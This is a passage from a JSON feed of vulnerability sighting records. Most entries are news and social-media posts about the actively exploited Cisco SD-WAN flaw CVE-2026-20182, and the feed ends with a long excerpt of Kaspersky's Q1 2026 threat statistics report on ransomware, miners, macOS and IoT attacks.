\u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f \u0441 \u0431\u043e\u043b\u0435\u0435 \u0432\u044b\u0441\u043e\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438. \u041e\u0448\u0438\u0431\u043a\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 AMD Zen-2, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043b\u0438\u043d\u0435\u0439\u043a\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 Ryzen \u0438 EPYC.\n\n7. Packagist \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0430 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 PHP Composer, \u0447\u0442\u043e\u0431\u044b \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043e\u0448\u0438\u0431\u043a\u0443, \u0438\u0437-\u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0442\u043e\u043a\u0435\u043d\u044b GitHub \u043f\u043e\u043f\u0430\u0434\u0430\u043b\u0438 \u0432 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0435 \u0436\u0443\u0440\u043d\u0430\u043b\u044b GitHub Actions.\n\n\u041f\u0440\u0438\u0447\u0438\u043d\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u043b\u0430\u0441\u044c \u0432 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0438 \u0444\u043e\u0440\u043c\u0430\u0442\u0430 \u0442\u043e\u043a\u0435\u043d\u043e\u0432. GitHub \u043f\u0440\u0438\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0430 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u043d\u043e\u0432\u043e\u0433\u043e \u0444\u043e\u0440\u043c\u0430\u0442\u0430 \u0434\u043e 18 \u043c\u0430\u044f. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c PHP \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043d\u043e\u0432\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Composer \u043a \u044d\u0442\u043e\u043c\u0443 \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u0443\u0442\u0435\u0447\u043a\u0443 \u0442\u043e\u043a\u0435\u043d\u043e\u0432 \u0432 \u0438\u0445 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0430\u0445 CI/CD.\n\n8. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Akamai \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0442\u0440\u0435\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445, \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u044e\u0449\u0438\u0445 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 MCP \u2014 Apache Pinot, Apache Doris \u0438 Alibaba RDS.", "creation_timestamp": "2026-05-15T17:30:06.000000Z"}, {"uuid": "2e9f862e-f872-43a6-a804-75714637bbeb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mlvzastwu22w", "content": "\ud83d\udea8 CRITICAL ZERO-DAY: Cisco warns of active exploitation of a 10.0 CVSS auth bypass flaw (CVE-2026-20182) in Catalyst SD-WAN. Attackers can gain full admin access. CISA has issued a directive to patch immediately! \u26a0\ufe0f #CyberSecurity #ZeroDay #Cisco\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-05-15T18:58:50.317719Z"}, {"uuid": "26612669-779e-4342-809a-9810ee6383d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "bdc2fb02-c627-4535-9027-9fe00c39b87c", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://discourse.ifin.network/t/cve-2026-20182-cisco-catalyst-sd-wan-eitw/457", "content": "", "creation_timestamp": "2026-05-15T21:06:14.773532Z"}, {"uuid": "43eaa82d-8f61-4613-a3c4-807d061f50ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mlwshvs3sk2v", "content": "Top 3 CVE for last 7 days:\nCVE-2026-43284: 90 interactions\nCVE-2026-43500: 71 interactions\nCVE-2026-42511: 56 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-42897: 36 interactions\nCVE-2026-20182: 13 interactions\nCVE-2026-42945: 12 interactions\n", "creation_timestamp": "2026-05-16T02:34:31.180272Z"}, {"uuid": "90cc48b8-9f70-4874-a27d-a6f2b42c8d33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/cryptocat.me/post/3mlxk4ryc2c2a", "content": "Quick video about the new SD-WAN Auth bypass (CVE-2026-20182) discovered by @rapid7.com Labs \ud83d\udc40\n\nI say quick, because @stephenfewer.bsky.social will be joining @fulmetalpackets.bsky.social and myself to talk all about it (and more) in the next podcast - dropping Thursday \ud83d\udd25\n\nyoutu.be/_AxRbX_GLiA", "creation_timestamp": "2026-05-16T09:33:36.961620Z"}, {"uuid": "d4543e0a-5b36-4abd-a260-ce853f730b1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3mlxr6aa2232b", "content": "CVE-2026-20182: Critical authentication bypass in Cisco Catalyst SD-WAN Controller (FIXED)", "creation_timestamp": "2026-05-16T11:39:32.491723Z"}, {"uuid": "d065b33b-5f7b-4b08-b182-a17c11fd40d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mly4yphebk2g", "content": "Cisco patches another actively exploited SD-WAN zero-day (CVE-2026-20182)\n\nCisco has patched yet another Catalyst SD-WAN Controller authentication bypass vulnerability (CVE-2026-20182) that has been exploited as a zero-day by \u201ca highly sophisticated cyber threat actor\u201d. About CVE-\u2026\n#hackernews #news", "creation_timestamp": "2026-05-16T15:12:58.060945Z"}, {"uuid": "aef4012d-3288-467f-b4ae-ada9dbacb808", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/technoholic.bsky.social/post/3mly63umezq2o", "content": "CISA adds Cisco Catalyst SD-WAN Controller flaw (CVE-2026-20182) to KEV; FCEB agencies must fix by May 17, 2026. Critical auth bypass vulnerability detected.", "creation_timestamp": "2026-05-16T15:30:51.854576Z"}, {"uuid": "b73c306d-84c5-4dad-a4ae-7f5cf753161e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/technoholic.bsky.social/post/3mlyliarlbz26", "content": "Cisco patched a critical (CVSS 10.0) authentication bypass in Catalyst SD-WAN Controller (CVE-2026-20182), exploited in limited attacks. Update now to secure your network.", "creation_timestamp": "2026-05-16T19:30:26.381059Z"}, {"uuid": "0f626fe1-a39c-4007-993c-de600ab8442c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://t.me/information_security_channel/55269", "content": "Cisco Patches Another SD-WAN Zero-Day, the Sixth Exploited in 2026\nhttps://www.securityweek.com/cisco-patches-another-sd-wan-zero-day-the-sixth-exploited-in-2026/\n\nThe zero-day, tracked as CVE-2026-20182, has been exploited in targeted attacks by a sophisticated threat actor identified as UAT-8616.\nThe post Cisco Patches Another SD-WAN Zero-Day, the Sixth Exploited in 2026 (https://www.securityweek.com/cisco-patches-another-sd-wan-zero-day-the-sixth-exploited-in-2026/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2026-05-15T15:32:27.000000Z"}, {"uuid": "e365742f-c017-4849-9ad3-85f9c848dad0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://t.me/thehackernews/9008", "content": "\ud83d\udea8 CISA added CVE-2026-20182, a CVSS 10.0 authentication bypass in Cisco Catalyst SD-WAN Controller, to its KEV catalog amid active exploitation.\n\nRemote attackers can gain admin privileges. FCEB agencies must remediate by May 17, 2026.\n\nFull details: https://thehackernews.com/2026/05/cisa-adds-cisco-sd-wan-cve-2026-20182.html", "creation_timestamp": "2026-05-15T05:30:16.000000Z"}, {"uuid": "31588afa-7b20-4a3b-8897-34d8f4f832d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://t.me/thehackernews/9007", "content": "\ud83d\udea8 Limited attacks are exploiting CVE-2026-20182, a CVSS 10.0 auth bypass in Cisco Catalyst SD-WAN Controller.\n\nUnauthenticated remote attackers can gain admin privileges and manipulate SD-WAN configurations.\n\nAffected: on-prem, cloud, government deployments.\n\nFull details and mitigation steps: https://thehackernews.com/2026/05/cisco-catalyst-sd-wan-controller-auth.html", "creation_timestamp": "2026-05-14T17:50:14.000000Z"}, {"uuid": "4b764233-82ba-4333-a01a-230a91deb52c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "published-proof-of-concept", "source": "Telegram/bDRsekGT6KsUOKSAQI-KSXDhypQzzgL-gjqbTcCXe2h_h6A", "content": "", "creation_timestamp": "2026-05-15T21:00:05.000000Z"}, {"uuid": "f344d9a0-4b2a-47ef-aefd-3e4b73feb235", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20224", "type": "published-proof-of-concept", "source": "Telegram/bDRsekGT6KsUOKSAQI-KSXDhypQzzgL-gjqbTcCXe2h_h6A", "content": "", "creation_timestamp": "2026-05-15T21:00:05.000000Z"}, {"uuid": "58f2433b-2609-49d5-9968-aad02c024e19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/pvynckier.bsky.social/post/3mlzt5eb6p22o", "content": "CISA Adds Cisco SD-WAN CVE-2026-20182 to KEV After Admin Access Exploits thehackernews.com/2026/05/cisa...", "creation_timestamp": "2026-05-17T07:20:13.309635Z"}, {"uuid": "4276d879-076e-40e9-9ed4-a8b179bf3b0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://t.me/itarmyofrussianews/387", "content": "\ud83d\udcdd \u0410\u0442\u0430\u043a\u0438 \u043d\u0430 SD-WAN-\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u044b \u0447\u0435\u0440\u0435\u0437 CVE\n\u0421\u041c\u0418 / NEWS\n\nCisco \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-20182 \u0432 SD-WAN \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430\u0445. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u043c\u0435\u0435\u0442 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u0443\u044e \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 10 \u0438\u0437 10 \u0438 \u0443\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445\n\n\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0434\u043e\u0432\u0435\u0440\u0438\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0432 Cisco Catalyst SD-WAN Controller. \u0427\u0435\u0440\u0435\u0437 \u0441\u0435\u0440\u0432\u0438\u0441 vdaemon \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u043d\u044f\u0442\u044c \u0432\u043d\u0435\u0448\u043d\u0435\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0437\u0430 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u0443\u0437\u0435\u043b vHub \u0438 \u0432\u044b\u0434\u0430\u2026\n\n\u0427\u0438\u0442\u0430\u0442\u044c \u0434\u0430\u043b\u0435\u0435", "creation_timestamp": "2026-05-17T13:25:41.000000Z"}, {"uuid": "7c3953b5-6935-450f-ae57-91212afb89af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20224", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mm2wx6p2rj2k", "content": "\ud83d\udfe0 CVE-2026-20224 - High (8.6)\n\nA vulnerability in the web UI of Cisco Catalyst SD-WAN Manager, formerly SD-WAN vManage, could al...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-20224/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-17T18:00:58.794729Z"}, {"uuid": "1aaf2a22-5a92-4e34-959c-0acbf7c3ea40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mm2wxfrjtr2k", "content": "\ud83d\udd34 CVE-2026-20182 - Critical (10)\n\nMay 2026: This security advisory provides the details and fix information for a vulnerability tha...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-20182/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-17T18:01:05.033470Z"}, {"uuid": "4364debd-a572-49fe-be5c-bc9ee9ed3023", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mm3m76yabq2b", "content": "Cisco\u304c\u3001\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u5225\u306eSD-WAN\u30bc\u30ed\u30c7\u30a4\u8106\u5f31\u6027\uff08CVE-2026-20182\uff09\u306b\u5bfe\u3059\u308b\u30d1\u30c3\u30c1\u3092\u516c\u958b \n\nCisco patches another actively exploited SD-WAN zero-day (CVE-2026-20182)  #HelpNetSecurity (May 15)\n\nwww.helpnetsecurity.com/2026/05/15/c...", "creation_timestamp": "2026-05-18T00:21:14.351113Z"}, {"uuid": "b3b33344-f9ad-46a5-ac3d-9a42e303a36e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "Telegram/EKrAL83LprvwhZtvuKfiEVeBYPu1XjYYS4uTG7mtZVuMkw", "content": "", "creation_timestamp": "2026-05-15T11:46:48.000000Z"}, {"uuid": "33b784fb-adf1-485f-8fa9-311ce5f8bcbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/diesec.bsky.social/post/3mm4pvinprm2p", "content": "CVE-2026-20182, CVSS 10.0 \u2014 the 6th exploited Cisco SD-WAN zero-day in 2026.\n\nUnauthenticated DTLS bypass \u2192 admin \u2192 NETCONF \u2192 full fabric control. CISA deadline was May 17.\n\nThis isn't a patch problem anymore. It's an architecture problem.\n\n#CyberSecurity #Cisco #SDWAN", "creation_timestamp": "2026-05-18T11:00:04.370969Z"}, {"uuid": "7766c411-690f-4547-83a2-0da731ee8cca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-cee1bb18-4ff58cc9bb092093", "content": "IT threat evolution in Q1 2026. Non-mobile statistics\nIT threat evolution in Q1 2026. Non-mobile statisticsIT threat evolution in Q1 2026. Mobile statistics\nThe statistics in this report are based on detection verdicts returned by Kaspersky products unless otherwise stated. The information was provided by Kaspersky users who consented to sharing statistical data.\nQuarterly figures\nIn Q1 2026:\n\nKaspersky products blocked more than 343 million attacks that originated with various online resources.\nWeb Anti-Virus responded to 50 million unique links.\nFile Anti-Virus blocked nearly 15 million malicious and potentially unwanted objects.\n2938 new ransomware variants were detected.\nMore than 77,000 users experienced ransomware attacks.\n14% of all ransomware victims whose data was published on threat actors\u2019 data leak sites (DLS) were victims of Clop.\nMore than 260,000 users were targeted by miners.\n\nRansomware\nQuarterly trends and highlights\nLaw enforcement success\nIn January 2026, it was reported that the FBI had seized the domains of the RAMP cybercrime forum, a major platform used extensively by ransomware developers to advertise their RaaS programs and to recruit affiliates. There has been no official statement from the FBI, nor is it clear if RAMP servers were seized. In a post on an external website, a RAMP moderator mentioned law enforcement agencies gaining control over the forum. The takedown disrupted a key element of the RaaS ecosystem, creating ripple effects for ransomware operators, affiliates, and initial access brokers.\nA man suspected of links to the Phobos group was apprehended in Poland. He was charged with the creation, acquisition, and distribution of software designed for unlawfully obtaining information, including data that facilitates unauthorized access to information stored within a computer system.\nIn March, a Phobos ransomware administrator pleaded guilty to the creation and distribution of the Trojan, which had been used in international attacks dating back to at least November 2020.\nIn March, the U.S. Department of Justice charged a man who had acted as a negotiator for ransomware groups. The company he worked for specializes in cyberincident investigations. The prosecution alleges the suspect colluded with the BlackCat threat actor to share privileged insights into the ongoing progress of negotiations. Additionally, the suspect is alleged to have had a prior direct role in BlackCat attacks, serving as an affiliate for the RaaS operation.\nIn a separate development this March, a U.S. court sentenced an initial access broker associated with the Yanluowang ransomware group to 81 months of imprisonment. According to the U.S. Department of Justice, the convict facilitated dozens of ransomware attacks across the United States, resulting in over $9 million in actual loss and more than $24 million in intended loss.\nVulnerabilities and attacks\nThe Interlock group has been heavily exploiting the CVE-2026-20131 zero-day vulnerability in Cisco Secure FMC firewall management software since at least January 26, 2026. The vulnerability enabled arbitrary Java code execution with root privileges on the affected device. This campaign demonstrates the ongoing reliance on zero-day vulnerabilities for initial access, a focus on network appliances as high-value entry points, and the rapid weaponization of new vulnerabilities within the ransomware ecosystem.\nThe most prolific groups\nThis section highlights the most prolific ransomware gangs by number of victims added to each group\u2019s DLS. This quarter, the Clop ransomware (14.42%) returned to the top of the rankings, displacing Qilin (12.34%), which had held the leading position in the previous reporting period. Following closely is a new threat actor, The Gentlemen (9.25%). Emerging no later than July 2025, the group had already surpassed the activity levels of mainstays such as Akira (7.25%) and INC Ransom (6.13%).\nNumber of each group\u2019s victims according to its DLS as a percentage of all groups\u2019 victims published on all the DLSs under review during the reporting period (download)\nNumber of new variants\nIn Q1 2026, Kaspersky solutions detected six new ransomware families and 2938 new modifications. Volumes have returned to Q3 2025 levels following a surge in Q4 2025.\nNumber of new ransomware modifications, Q1 2025 \u2014 Q1 2026 (download)\nNumber of users attacked by ransomware Trojans\nThroughout Q1, our solutions protected 77,319 unique users from ransomware. Ransomware activity was highest in March, with 35,056 unique users encountering such attacks during the month.\nNumber of unique users attacked by ransomware Trojans, Q1 2026 (download)\nAttack geography\nTOP 10 countries and territories attacked by ransomware TrojansCountry/territory*%**1Pakistan0.792South Korea0.643China0.524Tajikistan0.405Libya0.386Turkmenistan0.367Iraq0.358Bangladesh0.339Rwanda0.3010Cameroon0.28\n* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.** Unique users whose computers were attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country/territory.\nTOP 10 most common families of ransomware TrojansNameVerdict%*1(generic verdict)Trojan-Ransom.Win32.Gen33.902(generic verdict)Trojan-Ransom.Win32.Crypren6.383WannaCryTrojan-Ransom.Win32.Wanna5.874(generic verdict)Trojan-Ransom.Win32.Encoder4.685(generic verdict)Trojan-Ransom.Win32.Agent3.806LockBitTrojan-Ransom.Win32.Lockbit2.807(generic verdict)Trojan-Ransom.Win32.Phny1.998(generic verdict)Trojan-Ransom.MSIL.Agent1.969(generic verdict)Trojan-Ransom.Python.Agent1.9310(generic verdict)Trojan-Ransom.Win32.Crypmod1.89\n* Unique Kaspersky users attacked by the specific ransomware Trojan family as a percentage of all unique users attacked by this type of threat.\nMiners\nNumber of new variants\nIn Q1 2026, Kaspersky solutions detected 3485 new modifications of miners.\nNumber of new miner modifications, Q1 2026 (download)\nNumber of users attacked by miners\nIn Q1, we detected attacks using miner programs on the computers of 260,588 unique Kaspersky users worldwide.\nNumber of unique users attacked by miners, Q1 2026 (download)\nAttack geography\nTOP 10 countries and territories attacked by minersCountry/territory*%**1Senegal3.192Turkmenistan3.063Mali2.634Tanzania1.625Bangladesh1.066Ethiopia0.957Panama0.888Afghanistan0.799Kazakhstan0.7710Bolivia0.75\n* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.** Unique users whose computers were attacked by miners as a percentage of all unique users of Kaspersky products in the country/territory.\nAttacks on macOS\nIn Q1 2026, Google uncovered a new cryptocurrency theft campaign. The scammers directed victims to a fraudulent video call, prompting them to execute malicious scripts under the guise of technical support fixes for connection problems.\nIn March, researchers with GTIG and iVerify reported the discovery of an in-the-wild exploit chain targeting both iOS and macOS devices. The exploit kit was apparently marketed on the dark web, providing threat actors with a suite of spyware capabilities alongside specialized cryptocurrency exfiltration modules. The exploit was delivered via drive-by downloads when victims visited various compromised websites. Our analysis confirmed that the toolkit included an updated version of a component previously identified in the Operation Triangulation attack chain.\nDevices running macOS were similarly impacted by the high-profile supply chain attack targeting the Axios npm package, a widely used HTTP client for JavaScript. The installation of the infected package led to the deployment of a backdoor on macOS devices.\nTOP 20 threats to macOS\nUnique users* who encountered this malware as a percentage of all attacked users of Kaspersky security solutions for macOS (download)\n* Data for the previous quarter may differ slightly from previously published data due to some verdicts being retrospectively revised.\nThe share of PasivRobber spyware attacks is beginning to decline, giving way to more traditional adware and Monitor-class software capable of tracking user activity. The popular Amos stealer also maintains its presence within the TOP 20.\nGeography of threats to macOS\nTOP 10 countries and territories by share of attacked usersCountry/territory%* Q4 2025%* Q1 2026China1.281.97France1.181.07Brazil1.130.98Mexico0.720.52Germany0.710.45The Netherlands0.620.75Hong Kong0.490.53India0.420.48Russian Federation0.340.37Thailand0.240.27\n* Unique users who encountered threats to macOS as a percentage of all unique Kaspersky users in the country/territory.\nIoT threat statistics\nThis section presents statistics on attacks targeting Kaspersky IoT honeypots. The geographic data on attack sources is based on the IP addresses of attacking devices.\nIn Q1 2026, the share of devices attacking Kaspersky honeypots via the SSH protocol saw a significant increase compared to the previous reporting period.\nDistribution of attacked services by number of unique IP addresses of attacking devices (download)\nThe distribution of attacks between Telnet and SSH maintained the ratio observed in Q4 2025.\nDistribution of attackers\u2019 sessions in Kaspersky honeypots (download)\nTOP 10 threats delivered to IoT devices\nShare of each threat delivered to an infected device as a result of a successful attack, out of the total number of threats delivered (download)\nThe primary shifts in the IoT threat distribution are linked to the activity of various Mirai botnet variants, although members of this family continue to account for the majority of the list. Furthermore, a new variant, Mirai.kl, surfaced in the rankings. We also observed a significant decline in NyaDrop botnet activity during Q1.\nAttacks on IoT honeypots\nThe United States, the Netherlands, and Germany accounted for the highest proportions of SSH-based attacks during this period.Country/territoryQ4 2025Q1 2026United States16.10%23.74%The Netherlands15.78%17.57%Germany12.07%10.34%Panama7.72%6.34%India5.32%6.05%Romania4.05%5.82%Australia1.62%4.61%Vietnam4.21%3.50%Russian Federation3.79%2.35%Sweden2.25%2.09%\nChina continues to account for the largest proportion of Telnet attacks, though there was a marked increase in activity originating from Pakistan.Country/territoryQ4 2025Q1 2026China53.64%39.54%Pakistan14.27%27.31%Russian Federation8.20%8.25%Indonesia8.58%6.71%India4.85%4.66%Brazil0.06%3.30%Argentina0.02%2.51%Nigeria1.22%1.38%Thailand0.01%0.55%Sweden0.54%0.55%\nAttacks via web resources\nThe statistics in this section are based on detection verdicts by Web Anti-Virus, which protects users when suspicious objects are downloaded from malicious or infected web pages. These malicious pages are purposefully created by cybercriminals. Websites that host user-generated content, such as message boards, as well as compromised legitimate sites, can become infected.\nTOP 10 countries and territories that served as sources of web-based attacks\nThe following statistics show the distribution by country/territory of the sources of internet attacks blocked by Kaspersky products on user computers (web pages redirecting to exploits, sites containing exploits and other malicious programs, botnet C&C centers, and so on). One or more web-based attacks could originate from each unique host.\nTo determine the geographic source of web attacks, we matched the domain name with the real IP address where the domain is hosted, then identified the geographic location of that IP address (GeoIP).\nIn Q1 2026, Kaspersky solutions blocked 343,823,407 attacks launched from internet resources worldwide. Web Anti-Virus was triggered by 49,983,611 unique URLs.\nWeb-based attacks by country/territory, Q1 2026 (download)\nCountries and territories where users faced the greatest risk of online infection\nTo assess the risk of malware infection via the internet for users\u2019 computers in different countries and territories, we calculated the share of Kaspersky users in each location on whose computers Web Anti-Virus was triggered during the reporting period. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries and territories.\nThis ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out Web Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.Country/territory*%**1Venezuela9.332Hungary8.163Italy7.584Tajikistan7.485India7.216Greece7.137Portugal7.108France7.059Belgium6.8310Slovakia6.8011Vietnam6.6212Bosnia and Herzegovina6.5713Canada6.5614Serbia6.5015Tunisia6.3616Qatar6.0117Spain5.9518Germany5.9519Sri Lanka5.8920Brazil5.88\n* Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.** Unique users targeted by web-based Malware attacks as a percentage of all unique users of Kaspersky products in the country/territory.\nOn average during the quarter, 4.73% of users\u2019 computers worldwide were subjected to at least one Malware web attack.\nLocal threats\nStatistics on local infections of user computers are an important indicator. They include objects that penetrated the target computer by infecting files or removable media, or initially made their way onto the computer in non-open form. Examples of the latter are programs in complex installers and encrypted files.\nData in this section is based on analyzing statistics produced by anti-virus scans of files on the hard drive at the moment they were created or accessed, and the results of scanning removable storage media. The statistics are based on detection verdicts from the On-Access Scan (OAS) and On-Demand Scan (ODS) modules of File Anti-Virus and include detections of malicious programs located on user computers or removable media connected to the computers, such as flash drives, camera memory cards, phones, or external hard drives.\nIn Q1 2026, our File Anti-Virus detected 15,831,319 malicious and potentially unwanted objects.\nCountries and territories where users faced the highest risk of local infection\nFor each country and territory, we calculated the percentage of Kaspersky users whose computers had the File Anti-Virus triggered at least once during the reporting 